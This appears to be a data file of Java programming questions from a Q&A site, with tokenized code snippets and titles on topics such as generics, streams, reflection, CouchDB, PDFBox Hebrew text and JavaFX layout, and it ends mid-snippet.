Here is the point : The user can not query with more than one request parameter . Only one request parameter or no request parameter is valid ( only one of userId , age , or type should exist in a request ) .I am not sure what the better way to design an API for this situation is . Can you give me some advice ?","public ResponseEntity getList ( @ RequestParam ( required = false ) Integer userId , @ RequestParam ( required = false ) User.Type userType , @ RequestParam ( required = false ) Integer age ) { List < User > userList = null ; if ( userId ! = null ) { //logic userList = getUserByUserId ( ) } else if ( userType ! = null ) { //logic userList = getUserByType ( ) } else if ( age ! = null ) { //logic userList = getListByAge ( ) } else { userList = getAllWithoutCondition ( ) ; } return ResponseEntity.ok ( userList ) ; }",What is a better way to design an API for mutually exclusive request parameters ? +Java,"The following code gives a `` generic array creation '' error.I 'm wondering why this is , because class Entry is not a generic class and has no objects of generic type.Is it because the inner class still has access to the generic types , even if it does n't use any ? That 's the best I can come up with , though if it were the case , I do n't understand why Java could n't look and see it makes no use of generic types and is therefore not a generic class ? And yes , I have seen many many threads about generic type arrays , but no , I have not found a single one regarding inner classes .","public class TestClass < K , V > { Entry [ ] entry ; private TestClass ( ) { entry = new Entry [ 10 ] ; // < -- - this line gives generic array creation error } private class Entry { public Entry ( ) { } } }",Why ca n't I create an array of an inner class of a generic type ? +Java,"In SBT : I would like to define an inputKey that reads in command line arguments , changes them slightly and uses the result as input to other inputKeys.I tried : But I 'm getting error : Illegal dynamic reference : args.I also tried : This simply does not provide the input . I suspect it is a matter of execution order ( property does not get set when I want it , since JVM is free to move lines around ) .So , in my desperation , I even tried the atrocious : to force the order . This just throws a NullPointerException .","lazy val demo = inputKey [ Unit ] ( `` A demo input task . `` ) lazy val root = ( project in file ( `` . `` ) ) .settings ( libraryDependencies += jUnitInterface ) .settings ( demo : = { val args : Seq [ String ] = spaceDelimited ( `` < arg > '' ) .parsed val one = ( run in Compile ) .fullInput ( args ( 0 ) + `` foo '' ) .evaluated } ) demo : = { val args : Seq [ String ] = spaceDelimited ( `` < arg > '' ) .parsed System.setProperty ( `` args0 '' , args ( 0 ) ) val one = ( run in Compile ) .fullInput ( System.getProperty ( args0 ) + `` foo '' ) .evaluated } demo : = { val args : Seq [ String ] = spaceDelimited ( `` < arg > '' ) .parsed try { System.setProperty ( `` args0 '' , args ( 0 ) ) } finally { val one = ( run in Compile ) .fullInput ( System.getProperty ( args0 ) + `` foo '' ) .evaluated } }",SBT : pre-applying input to inputKeys +Java,"I 'm using Google App Engine Endpoints in connection with my Android app . In one of my endpoints I have a method that takes an image - encoded in Base64 - which is then stored in the Blobstore . Retrieving the image is done by the serving URL of the Google ImageService.So , I got two problems . First , the Blobstore File API that I 'm using is deprecated . Second , the call is very slow because the server works synchronously when storing the blob and later on serving-url and blob-key.So my question is , how can I change the code to use the Blobstore as proposed by Google ( servlets ) but keep using my very nice Endpoint in the Android code . Is there a way to keep using that method without using HttpRequest classes ? In short : Can I keep my client-side call to the Endpoint or do I need to change that code ? If I can keep my client/server side interface of the endpoint , how can I redirect to Blobstore to asynchronously save the image and then call another servlet where I can store the blobkey and serving-url ? Here 's my code.The entity that is send from Android client to Google app engine.The server-side endpoint implementation : The Android Java code to call the endpoint on the Google App Engine .","@ Entitypublic class Image { @ Id private int id = -1 ; private byte [ ] data ; private String mimeType ; private int width ; private int height ; public int getId ( ) { return id ; } public void setId ( int id ) { this.id = id ; } public byte [ ] getData ( ) { return data ; } public void setData ( byte [ ] data ) { this.data = data ; } public String getMimeType ( ) { return mimeType ; } public void setMimeType ( String mimeType ) { this.mimeType = mimeType ; } public int getWidth ( ) { return width ; } public void setWidth ( int width ) { this.width = width ; } public int getHeight ( ) { return height ; } public void setHeight ( int height ) { this.height = height ; } } @ Api ( name = `` imageEndpoint '' , namespace = @ ApiNamespace ( ownerDomain = `` example.com '' , ownerName = `` example.com '' , packagePath = `` myPackage '' ) } public class ImageEndPoint extentds BaseEndPoint { @ ApiMethod ( name = `` updateImage '' ) public Void updateImage ( final User user , final Image image ) { String blobKey = FileHandler.storeFile ( location ! = null ? location.getBlobKey ( ) : null , image.getData ( ) , image.getMimeType ( ) , LocationTable.TABLE_NAME + `` . '' + locationId , logger ) ; ImagesService imageService = ImagesServiceFactory .getImagesService ( ) ; // image size 0 will retrieve the original image ( max : 1600 ) ServingUrlOptions options = ServingUrlOptions.Builder .withBlobKey ( new BlobKey ( blobKey ) ) .secureUrl ( true ) .imageSize ( 0 ) ; String servingUrl = imageService.getServingUrl ( options ) ; // store BlobKey & ServingUrl in Database return null ; } } public void uploadBitmap ( Bitmap image ) { ImageEndpoint.Builder endpointbuilder = creator.create ( AndroidHttp.newCompatibleTransport ( ) , new JacksonFactory ( ) , new HttpRequestInitializer ( ) { @ Override public void initialize ( HttpRequest arg0 ) throws IOException { } } ) ; endpointbuilder.setApplicationName ( GoogleConstants.PROJECT_ID ) ; ImageEndpoint endpoint = endpointbuilder.build ( ) ; // set google credidentials // encode image to byte-rray byte [ ] data = ... . // create cloud contet Image content = new Image ( ) ; content.setWidth ( image.get_width ( ) ) ; content.setHeight ( image.get_height ( ) ) ; content.setMimeType ( `` image/png '' ) ; content.setData ( Base64.encodeBase64String ( data ) ) ; // upload content ( but takes too much time ) endpoint.updateImage ( content ) ; }",from deprecated Blobstore File API to serving blobs +Java,"I created a default GWT project and trying to create a document in the database with a simple entry using CouchDB as my database . Previously we were using CouchDB 1.6 i.e futon as UI . Now , recently trying to use CouchDB 2.0 i.e Fauxton as UI . PROBLEM : -Unable to create a document in CouchDB 2.0 . SERVER SIDE CODE : -EXCEPTION : -/**********************************EDIT 1************************/Link where mentioned about update_seqThe thing is we are not updating update_seq through our code its auto has done at the time of creation document in the database . So , do n't know whats the issue . Forgot to write that database is been created through java easily on CouchDB 2.0.Do WE HAVE TO USE NEW VERSIONS OF JAR FILES > ?","public String greetServer ( String input ) throws IllegalArgumentException { // Verify that the input is valid . System.out.println ( input ) ; Session session=new Session ( `` 192.168.1.48 '' ,5984 ) ; Database db=session.getDatabase ( `` testing '' ) ; Document doc=new Document ( ) ; doc.put ( `` name '' , input ) ; db.saveDocument ( doc ) ; return `` Hello , `` + input ; } 2017-02-22 17:23:41.147 : WARN : / : qtp10750155-45 : Exception while dispatching incoming RPC callcom.google.gwt.user.server.rpc.UnexpectedException : Service method 'public abstract java.lang.String com.dbconnect.client.GreetingService.greetServer ( java.lang.String ) throws java.lang.IllegalArgumentException ' threw an unexpected exception : net.sf.json.JSONException : JSONObject [ `` update_seq '' ] is not a number . at com.google.gwt.user.server.rpc.RPC.encodeResponseForFailure ( RPC.java:416 ) at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse ( RPC.java:605 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall ( RemoteServiceServlet.java:333 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall ( RemoteServiceServlet.java:303 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processPost ( RemoteServiceServlet.java:373 ) at com.google.gwt.user.server.rpc.AbstractRemoteServiceServlet.doPost ( AbstractRemoteServiceServlet.java:62 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:648 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:729 ) at org.eclipse.jetty.servlet.ServletHolder.handle ( ServletHolder.java:812 ) at org.eclipse.jetty.servlet.ServletHandler.doHandle ( ServletHandler.java:587 ) at org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:143 ) at org.eclipse.jetty.security.SecurityHandler.handle ( SecurityHandler.java:577 ) at org.eclipse.jetty.server.session.SessionHandler.doHandle ( SessionHandler.java:223 ) at org.eclipse.jetty.server.handler.ContextHandler.doHandle ( ContextHandler.java:1127 ) at org.eclipse.jetty.servlet.ServletHandler.doScope ( ServletHandler.java:515 ) at org.eclipse.jetty.server.session.SessionHandler.doScope ( SessionHandler.java:185 ) at org.eclipse.jetty.server.handler.ContextHandler.doScope ( ContextHandler.java:1061 ) at org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:141 ) at org.eclipse.jetty.server.handler.HandlerWrapper.handle ( HandlerWrapper.java:97 ) at org.eclipse.jetty.server.handler.RequestLogHandler.handle ( RequestLogHandler.java:95 ) at org.eclipse.jetty.server.handler.HandlerWrapper.handle ( HandlerWrapper.java:97 ) at org.eclipse.jetty.server.Server.handle ( Server.java:499 ) at org.eclipse.jetty.server.HttpChannel.handle ( HttpChannel.java:311 ) at org.eclipse.jetty.server.HttpConnection.onFillable ( HttpConnection.java:257 ) at org.eclipse.jetty.io.AbstractConnection $ 2.run ( AbstractConnection.java:544 ) at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:635 ) at org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:555 ) at java.lang.Thread.run ( Unknown Source ) Caused by : net.sf.json.JSONException : JSONObject [ `` update_seq '' ] is not a number . at net.sf.json.JSONObject.getDouble ( JSONObject.java:2090 ) at net.sf.json.JSONObject.getInt ( JSONObject.java:2109 ) at com.fourspaces.couchdb.Database. < init > ( Database.java:50 ) at com.fourspaces.couchdb.Session.getDatabase ( Session.java:185 ) at com.dbconnect.server.GreetingServiceImpl.greetServer ( GreetingServiceImpl.java:22 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( Unknown Source ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( Unknown Source ) at java.lang.reflect.Method.invoke ( Unknown Source ) at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse ( RPC.java:587 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall ( RemoteServiceServlet.java:333 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall ( RemoteServiceServlet.java:303 ) at com.google.gwt.user.server.rpc.RemoteServiceServlet.processPost ( RemoteServiceServlet.java:373 ) at com.google.gwt.user.server.rpc.AbstractRemoteServiceServlet.doPost ( AbstractRemoteServiceServlet.java:62 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:648 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:729 ) at org.eclipse.jetty.servlet.ServletHolder.handle ( ServletHolder.java:812 ) at org.eclipse.jetty.servlet.ServletHandler.doHandle ( ServletHandler.java:587 ) at org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:143 ) at org.eclipse.jetty.security.SecurityHandler.handle ( SecurityHandler.java:577 ) at org.eclipse.jetty.server.session.SessionHandler.doHandle ( SessionHandler.java:223 ) at org.eclipse.jetty.server.handler.ContextHandler.doHandle ( ContextHandler.java:1127 ) at org.eclipse.jetty.servlet.ServletHandler.doScope ( ServletHandler.java:515 ) at org.eclipse.jetty.server.session.SessionHandler.doScope ( SessionHandler.java:185 ) at org.eclipse.jetty.server.handler.ContextHandler.doScope ( ContextHandler.java:1061 ) at org.eclipse.jetty.server.handler.ScopedHandler.handle ( ScopedHandler.java:141 ) at org.eclipse.jetty.server.handler.HandlerWrapper.handle ( HandlerWrapper.java:97 ) at org.eclipse.jetty.server.handler.RequestLogHandler.handle ( RequestLogHandler.java:95 ) at org.eclipse.jetty.server.handler.HandlerWrapper.handle ( HandlerWrapper.java:97 ) at org.eclipse.jetty.server.Server.handle ( Server.java:499 ) at org.eclipse.jetty.server.HttpChannel.handle ( HttpChannel.java:311 ) at org.eclipse.jetty.server.HttpConnection.onFillable ( HttpConnection.java:257 ) at org.eclipse.jetty.io.AbstractConnection $ 2.run ( AbstractConnection.java:544 ) at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:635 ) at org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:555 ) at java.lang.Thread.run ( Unknown Source )",Create Document in CouchDB 2.0 fauxton using Java +Java,"I 'm having an issue with reflection . I decided I wanted to create a SQL Query Generator using reflection . I created my own annotations to determine what classes can be used , what attributes can be stored ect . The code works as I want it to , however the issue lyes in using this project as a dependency in others . I have another project using OJDBC and im trying to use my library to generate the Queries based on class . However when I pass a class from my ojdbc project there is a loss of all class information , the class is appearing as java.lang.Class and even the annotaion information is lost . Does anyone know why this is happening ? The cls.getAnnotation ( Storable.class ) is losing the information when the following class is passed to it The animal class is in the ojdbc project and the appendTableName method belongs to my query builder . I have tried generating the querybuilder project into a jar and use maven install to add it to my repository and still no luck . Thanks for the quick reply , however this is n't problem as the Annotation I created has Retention set to Runtime see below.My annotation is set to runtime yet the class information is still being lost .",private static < T > void appendTableName ( Class < T > cls ) throws NotStorableException { Storable storable = cls.getAnnotation ( Storable.class ) ; String tableName = null ; if ( storable ! = null ) { if ( ( tableName = storable.tableName ( ) ) .isEmpty ( ) ) tableName = cls.getSimpleName ( ) ; } else { throw new NotStorableException ( `` The class you are trying to persist must declare the Storable annotaion '' ) ; } createStatement.append ( tableName.toUpperCase ( ) ) ; } package com.fdm.ojdbc ; import com.fdm.QueryBuilder.annotations.PrimaryKey ; import com.fdm.QueryBuilder.annotations.Storable ; @ Storable ( tableName= '' ANIMALS '' ) public class Animal { @ PrimaryKeyprivate String name ; public String getName ( ) { return name ; } public void setName ( String name ) { this.name = name ; } } package com.fdm.QueryBuilder.annotations ; import java.lang.annotation.ElementType ; import java.lang.annotation.Retention ; import java.lang.annotation.RetentionPolicy ; import java.lang.annotation.Target ; @ Target ( value = { ElementType.TYPE } ) @ Retention ( value = RetentionPolicy.RUNTIME ) public @ interface Storable { public String tableName ( ) default `` '' ; },Java reflection loss of annotation information +Java,"I have this code : But I would also like to have guarantees that : The list is processed in order , from the first element to the last ; As soon an element returns true , evaluations stops immediatelyIs this always true , or if not , is it at least for all common JDK implementations ?","ArrayList < Detector > detectors ; detectors.stream ( ) .anyMatch ( d - > d.detectRead ( impendingInstruction , fieldName ) ) ;",Does Java 's ArrayList.stream ( ) .anyMatch ( ) guarantee in-order processing ? +Java,I never get finish get printed and value of i.Why is it so ?,class A { static final int i ; static { i = 128 ; Thread t = new Thread ( ) { public void run ( ) { System.out.println ( `` i= '' + i ) ; } } ; t.start ( ) ; try { t.join ( ) ; } catch ( InterruptedException e ) { Thread.currentThread ( ) .interrupt ( ) ; } } } public class MainTesting { public static void main ( String [ ] args ) { A a = new A ( ) ; System.out.println ( `` finish '' ) ; } },why does this code produce deadlock ? +Java,"I have a Collector function that is basically toMap but always a LinkedHashMap as I need this often . Sonar complains about the ? wildcard generic in the return type . Seeing as this is the exact same signature as the toMap method , and I 'm at it 's mercy , how would I replace the wildcard with a proper value or generic ? I 've tried Map < K , U > and adding an M extends Map < K , U > and LinkedHashMap versions of those as well , but nothing compiles . Any suggestions ? Or is this impossible as I am using Collectors.toMap which uses a wildcard ? Here is the full text of the Sonar rule : Generic wildcard types should not be used in return parametersCode smellMajorsquid : S1452Using a wildcard as a return type implicitly means that the return value should be considered read-only , but without any way to enforce this contract.Let 's take the example of method returning a List < ? extends Animal > . Is it possible on this list to add a Dog , a Cat , ... we simply do n't know . The consumer of a method should not have to deal with such disruptive questions.Non-compliant Code ExampleList < ? extends Animal > getAnimals ( ) { ... }","public static < T , K , U > Collector < T , ? , LinkedHashMap < K , U > > toLinkedHashMap ( Function < ? super T , ? extends K > keyMapper , Function < ? super T , ? extends U > valueMapper , BinaryOperator < U > merger ) { return Collectors.toMap ( keyMapper , valueMapper , merger , LinkedHashMap : :new ) ; }",How to replace wildcard generic when customizing Collectors.toMap +Java,"Eclipse indigo , java 1.6In Eclipse , this worked ! Other classes could invoke getName ( ) on references of type I . The actual javac rejected it , claiming that there was no such thing as getName ( ) in the enum . Is this just an Eclipse bug ? Note that what 's wierd about this is the method definition inside the enumerator . It all works just fine in both Eclipse and Javac if I do the normal thing , and have the function defined at the bottom of the enum returning the value of a field .",public interface I { String getName ( ) ; } /* and in another file */public enum E implements I { E1 ( ) { String getName ( ) { return `` foo '' ; } } ; },"Eclipse loves it , javac hates it , it 's an enum , sort of , with an interface" +Java,Where I try to create two static overloading methods I got an compilation error . Can anyone explain this ?,"public class A { public static void a ( Set < String > stringSet ) { } public static void a ( Set < Map < String , String > > mapSet ) { } }",Method overloading with generics +Java,"I have a JTabbedPane with a custom tab component . I want to be able to right click anywhere on the tab and show a JPopupMenu . The problem I 'm having is that there is dead space on each tab where the JPopupMenu does not appear with a right click . I believe it is because I 'm attaching the listener to a JPanel that is acting as the Tab Component , but the JPanel is n't `` filling '' the whole tab.Is there a way to attach a mouse listener to the whole tab ? Here is an example to illustrate what I 'm seeing . In the yellow area of the tab , I can right click and get a popup menu , but in the gray area of the tab the right click is not intercepted .","public class TabExample { public static void main ( String [ ] args ) { EventQueue.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { JFrame frame = new JFrame ( ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; frame.setBounds ( 100 , 100 , 1024 , 768 ) ; JTabbedPane pane = new JTabbedPane ( ) ; for ( int i = 0 ; i < 15 ; i++ ) { JPanel panel = new JPanel ( ) ; JLabel label = new JLabel ( `` Panel `` + i ) ; panel.add ( label ) ; pane.addTab ( `` '' , panel ) ; final JPanel tabComponentPanel = new JPanel ( new BorderLayout ( ) ) ; final JLabel tabComponentLabel = new JLabel ( `` My Tab `` + i ) ; final JLabel tabComponentImageLabel = new JLabel ( ) ; ImageIcon icon = new ImageIcon ( getImage ( ) ) ; tabComponentImageLabel.setHorizontalAlignment ( JLabel.CENTER ) ; tabComponentImageLabel.setIcon ( icon ) ; tabComponentPanel.add ( tabComponentImageLabel , BorderLayout.CENTER ) ; tabComponentPanel.add ( tabComponentLabel , BorderLayout.SOUTH ) ; tabComponentPanel.setBackground ( Color.YELLOW ) ; tabComponentPanel.addMouseListener ( new MouseAdapter ( ) { @ Override public void mouseClicked ( MouseEvent e ) { if ( e.getButton ( ) == MouseEvent.BUTTON1 ) { pane.setSelectedComponent ( panel ) ; } else if ( e.getButton ( ) == MouseEvent.BUTTON3 ) { JPopupMenu jPopupMenu = new JPopupMenu ( ) ; JMenuItem menuItem = new JMenuItem ( `` Menu Item '' ) ; jPopupMenu.add ( menuItem ) ; menuItem.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent e ) { System.out.println ( `` Clicked `` ) ; } } ) ; jPopupMenu.show ( tabComponentPanel , e.getX ( ) , e.getY ( ) ) ; } } } ) ; pane.setTabComponentAt ( pane.indexOfComponent ( panel ) , tabComponentPanel ) ; } frame.add ( pane ) ; frame.setVisible ( true ) ; } } ) ; } private static BufferedImage getImage ( ) { BufferedImage bimage = new BufferedImage ( 16 , 16 , BufferedImage.TYPE_BYTE_INDEXED ) ; Graphics2D g2d = bimage.createGraphics ( ) ; g2d.setColor ( Color.red ) ; g2d.fill ( new Ellipse2D.Float ( 0 , 0 , 16 , 16 ) ) ; g2d.dispose ( ) ; return bimage ; } }",RIght click JPopupMenu on JTabbedPane +Java,"I 'm playing with some functional like programming . And having issues with some pretty deeply nested generics . Here 's my SCCE that fails , with an abstract class involved : This dies with a However , for a non-abstract FooGen , it works fine : This prints 1.2 . Ideas ? It seems like somewhere Java has lost track of the generics . This is pushing the limits of my generics knowledge . : - ) ( Added in response to answers ) First , thanks for the upvotes , and to Paul and Daemon for their helpful answers . Still wondering why it works as Numbers in the 2nd version , I had an insight . As a Thought Experiment , let 's add a .doubleValue ( ) somewhere . You ca n't . In the code itself the variables are INs , not Numbers . And in the main ( ) it 's merely declaring the type , FooGen < Number , Number > but there 's no place there to add code.In Version # 2 , it really is n't `` working '' as Numbers . Internally , with erasure , everything is Objects , as explained by Paul and Daemon , and , looking back sheepishly , well understood by myself . Basically , in this complex example , I got overexcited and mislead by the < Number > declaration.Do n't think I 'll bother with a workaround . The whole idea was to be lazy . : - ) For efficiency I created parallel interfaces and code that take primitive doubles ( and ints ) , and there this trick works just fine .","public abstract class FooGen < IN , OUT > { OUT fn2 ( IN in1 , IN in2 ) { // clever ? try at a lazy way , just call the varargs version return fnN ( in1 , in2 ) ; } abstract OUT fnN ( IN ... ins ) ; // subclasses implement this public static void main ( String [ ] args ) { FooGen < Number , Number > foogen = new FooGen < Number , Number > ( ) { @ Override Number fnN ( Number ... numbers ) { return numbers [ 0 ] ; } } ; System.out.println ( foogen.fn2 ( 1.2 , 3.4 ) ) ; } } java.lang.ClassCastException : [ Ljava.lang.Object ; can not be cast to [ Ljava.lang.Number ; public class FooGen < IN , OUT > { OUT fn2 ( IN g1 , IN g2 ) { return fnN ( g1 , g2 ) ; } OUT fnN ( IN ... gs ) { return ( OUT ) gs [ 0 ] ; } public static void main ( String [ ] args ) { FooGen < Number , Number > foogen = new FooGen < Number , Number > ( ) ; System.out.println ( foogen.fn2 ( 1.2 , 3.4 ) ) ; } }",Issue with Java varargs and generics in abstract classes +Java,"I have some custom components with overriden paintComponent ( Graphics g ) method . In some components drawString ( ) method from Graphics g object is used.I want to define custom fonts for such drawn strings.I have *.ttf files with true type fonts definitions.I have a css file with style classes , defining fonts like : I want to define all properties from css in my java class or maybe there is a way to use styles directly from css-files ( not necessary ) .I 've tried to create font with a constructor with Map parameter : But I did n't success.I can create custom font with Font.createFont ( style , path ) then can derive it to set size . Color can be set in Graphics.setColor ( ) . But I ca n't set 'Tahoma Bold ' .",".rosTexLogoTitle { -fx-font : bold 20pt 'Tahoma Bold ' ; -fx-text-fill : # 246db6 ; -fx-font-weight : heavybold ; -fx-padding : 0 10 0 0 public Font ( Map < ? extends Attribute , ? > attributes ) { }",swing create font +Java,"What 's wrong with my code ? I want to remove all the elements starting with A from the List list : However , removeIf does n't remove anything from the list .","public static void main ( String [ ] args ) { Predicate < String > TTT = `` A '' : :startsWith ; List < String > list = new ArrayList < > ( ) ; list.add ( `` Magician '' ) ; list.add ( `` Assistant '' ) ; System.out.println ( list ) ; // [ Magician , Assistant ] list.removeIf ( TTT ) ; System.out.println ( list ) ; // expected output : [ Magician ] }",Using method reference to remove elements from a List +Java,"I 'm using PDFBox to write text to PDF.When I write English it works perfectly fine , but when I try to write Hebrew I get gibberish . I 've tried all kind of solutions but nothing seems to work.I tried everything that was described in the following threads : First , Second , Third.All the above solutions use iText . I need to somehow manage it with PDFBox.I did see that the use of DictionaryEncoding could work , though I do n't understand it.I tried to use it but it does n't work for Hebrew ( Wrote all Hebrew letters from 1488 to 1514 ) .Any kind of help would be appreciated .","COSDictionary cosDic = new COSDictionary ( ) ; cosDic.setString ( COSName.getPDFName ( `` alef '' ) , `` 1488 '' ) ; // First Hebrew letter ... cosDic.setString ( COSName.getPDFName ( `` tav '' ) , `` 1514 '' ) ; // Last Hebrew letterfont.setEncoding ( new DictionaryEncoding ( cosDic ) ) ;",Using Java PDFBox to write Hebrew into PDF +Java,Related toStandard Naming Convention for DAO Methods andDAO class methods namingquestions.Why the methods in DAO classes are like : instead of : in IDE like Eclipse auto-suggest will start to show you both when you start to type getUser . And according to the parameters you can choose which method is to go with . Of course this is overloading . Why people avoid overloading and use different method names for different parameters ? Or are they avoiding ? Regards .,"getUserById ( int id ) getUserByUsernameAndPassword ( String username , String password ) getUser ( int id ) getUser ( String username , String password )",java - DAO methods convention - overloading or change the method name ? +Java,"I 'm attempting to check if a string ( filter ) is contained in another string ( formattedAmount ) i.e . is filter a substring of formattedAmount.I could not get it to work so I just changed the code to use `` equals ( ) '' instead of `` indexOf ( ) '' , purely for simplyfing the testing . The equals method does not appear to be working as I would expect either.Here is a dummy script I wrote up that replicates what I am trying to do : Any Ideas why it is not entering the If statement ? Thanks","import java.math.BigDecimal ; import java.text.NumberFormat ; import java.util.Locale ; public class utils { public utils ( ) { } public static void main ( String [ ] args ) throws Exception { String filter = `` 333 333,44 '' ; Number amount = new BigDecimal ( 333333.44 ) ; NumberFormat nf = NumberFormat.getNumberInstance ( Locale.FRANCE ) ; nf.setMinimumFractionDigits ( 2 ) ; String formattedAmount = nf.format ( amount ) ; if ( formattedAmount.equals ( filter ) ) { System.out.println ( `` Working '' ) ; } } }",Equals ( ) and indexOf ( ) not working as I 'd expect using NumberFormat +Java,"I 'm trying to implement a lambda foreach parallel Stream of an arraylist to improve performance of an existing application.So far the foreach iteration without a parallel Stream creates the expected amount of data written into a database.But when I switch to a parallelStream it always writes less rows into the database . Let 's say from 10.000 expected , nearly 7000 rows , but result varies here.Any idea what I am missing here , data race conditions , or must I work with locks and synchronized ? The code does something like this basically : Things I tried so farCollect the result in an new List with ... ... and then iterating over the new list and executing the logic , described in the first code snippet.The size of the new 'collected ' ArrayList matches with the expected result , but at the end there is still less data created in the database.Update/Solution : Based on the answer I marked ( and also the hints in the comments ) concerning non-thread safe parts in that code , I implemented it as the following , what finally gives me the expected amount of data . Performance has improved , it takes now only 1/3 of the implementation before.The application specific part is an XML based data import api , but I think this could be done in plain SQL JDBC inserts .","// Create Persons from an arraylist of dataarrayList.parallelStream ( ) .filter ( d - > d.personShouldBeCreated ( ) ) .forEach ( d - > { // Create a Person // Fill it 's properties // Update object , what writes it into a DB } ) ; collect ( Collectors.toList ( ) ) StringBuffer sb = new StringBuffer ( ) ; arrayList ( ) .parallelStream ( ) .filter ( d- > d.toBeCreated ( ) ) .forEach ( d - > sb.append ( // Build an application specific XML for inserting or importing data ) ) ;",lambda foreach parallelStream creating less data than expected +Java,"I was following tutorial and below was the example for auto boxing memory leak.Now , I could understand that unnecessary objects would be created because of autoboxing but how it caused memory leak , the way I understand is that memory leak is caused when you are holding a strong reference to a dead object . Now , in this case once I have came out of the FOR loop there would be no strong references to those Long objects then how it caused memory leak ? Please note I want to understand how it caused memory leak , I know those objects were unnecessary .",package com.example.memoryleak ; public class Adder { public long addIncremental ( long l ) { Long sum=0L ; sum =sum+l ; return sum ; } public static void main ( String [ ] args ) { Adder adder = new Adder ( ) ; for ( long ; i < 1000 ; i++ ) { adder.addIncremental ( i ) ; } } },Memory leak using autoboxing +Java,"I would like to know if thread safety already plays a role when handling parameters of members in Java.Say you have a method of an APIwould this method be thread safe ? I imagine it would since every thread has its own stack for local variables , and primitives are all stored in this local stack.The only thing that makes me unsure is the fact that a long would be two separate reads and thus is generally not thread safe.My question is : can I be sure that the parameter of a method gets copied atomically ? So when using a primitive as a parameter ( even float/long ) can I be sure that during copying it to a local variable thread safety wo n't be an issue ?",boolean moreThanTen ( long value ) { if ( value > 10 ) return true ; else return false ; },Thread safety of method parameters in Java +Java,"While reading 'Programming Clojure ' , I noticed that there are alternative ways to perform some operations in Clojure . For example , let 's say we need to convert all characters of a string to their upper-case variants.We can use .toUpperCase : As well as clojure.string/upper-case : While clojure.string/upper-case is a function and we can treat it as such : ... we can not do the same with .toUpperCase : I guess that .toUpperCase is direct call of Java method , and Clojure knows how to deal with this symbol when it is first element of a form.Q : what should I use .toUpperCase or clojure.string/upper-case and what 's difference between : and",user > ( .toUpperCase `` foo '' ) ; ; = > `` FOO '' user > ( clojure.string/upper-case `` foo '' ) ; ; = > `` FOO '' user > ( map clojure.string/upper-case [ `` foo '' `` bar '' `` baz '' ] ) ; ; = > ( `` FOO '' `` BAR '' `` BAZ '' ) user > ( map .toUpperCase [ `` foo '' `` bar '' `` baz '' ] ) CompilerException java.lang.RuntimeException : Unable to resolve symbol ... ( map clojure.string/upper-case [ `` foo '' `` bar '' `` baz '' ] ) ( map ( fn [ x ] ( .toUpperCase x ) ) [ `` foo '' `` bar '' `` baz '' ] ),Library functions vs Java methods in Clojure +Java,"I 'm working on some Java code that will eventually be used within an app server to access some really big files ( over 1GB , under 20GB ) , possibly hosted on an NFS share . Servicing an individual request will involve doing this : Find the large file I need to readNavigate to a random point in that fileRead bytes from that file ( usually under 1MB ) Return those bytesI have some happy simple POC code at the moment that simply opens a new read-only file and the closes it : I 'm wondering if this is an elegantly simple approach that should work really well , or a foolishly simplistic approach which will have a lot of problems under heavy load ( and perhaps I need to make a thread-safe pool of readers , etc ) . Obviously testing that assumption would be best , but I was wondering if there were any best practices or known issues with either approach . So far I have n't been able to figure out very much googling ... Thanks ! PS . It 's not clear yet whether the final version of this would be hosted on Windows or *nix . It 's also not clear how the large files would be shared.PPS . The app servers are likely to be configured in a cluster , so two different app servers might need to read the same large shared file at the same time .","RandomAccessFile raf=new RandomAccessFile ( myFileName , `` r '' ) ; try { byte [ ] buffer = new byte [ size ] ; raf.seek ( position ) ; raf.reafFully ( buffer ) ; return buffer ; } finally { raf.close ( ) ; }",java.io.RandomAccessFile scalability ( or other options ) +Java,"I 've the current situation : a main windows with a main BorderPane . At the center of it I have an AnchorPane with some objects inside . I want to distribute the objects equally inside the height of the pane , even if the pane is resized.The problem I 'm falled in is that all things works when the resize increase the height of the pane . When I decrease the size of the window , the pane 's height continue to increase.I have reproduced the error in this example application using a simple line ( in my application I 've also a line like this ) : I 've seen that avoiding nesting , everything works as expected.What 's wrong with that ? Please help me find the right direction .","import javafx.application.Application ; import javafx.scene.Scene ; import javafx.scene.layout.AnchorPane ; import javafx.scene.layout.BorderPane ; import javafx.scene.layout.Pane ; import javafx.scene.shape.Line ; import javafx.stage.Stage ; public class ResizeProblem extends Application { @ Override public void start ( Stage primaryStage ) { BorderPane root = new BorderPane ( ) ; AnchorPane inner = new AnchorPane ( ) ; Line line = new Line ( ) ; // comment from here ... root.setCenter ( inner ) ; Pane pane = inner ; // ... to here and uncomment next to make things work //Pane pane = root ; line.startXProperty ( ) .bind ( pane.widthProperty ( ) .divide ( 2 ) ) ; line.endXProperty ( ) .bind ( pane.widthProperty ( ) .divide ( 2 ) ) ; line.setStartY ( 0 . ) ; line.endYProperty ( ) .bind ( pane.heightProperty ( ) ) ; pane.heightProperty ( ) .addListener ( ( obs , ov , nv ) - > System.out.println ( `` ov : `` + ov + `` nv : `` + nv ) ) ; pane.getChildren ( ) .add ( line ) ; Scene scene = new Scene ( root , 300 , 250 ) ; primaryStage.setTitle ( `` Resize Problem '' ) ; 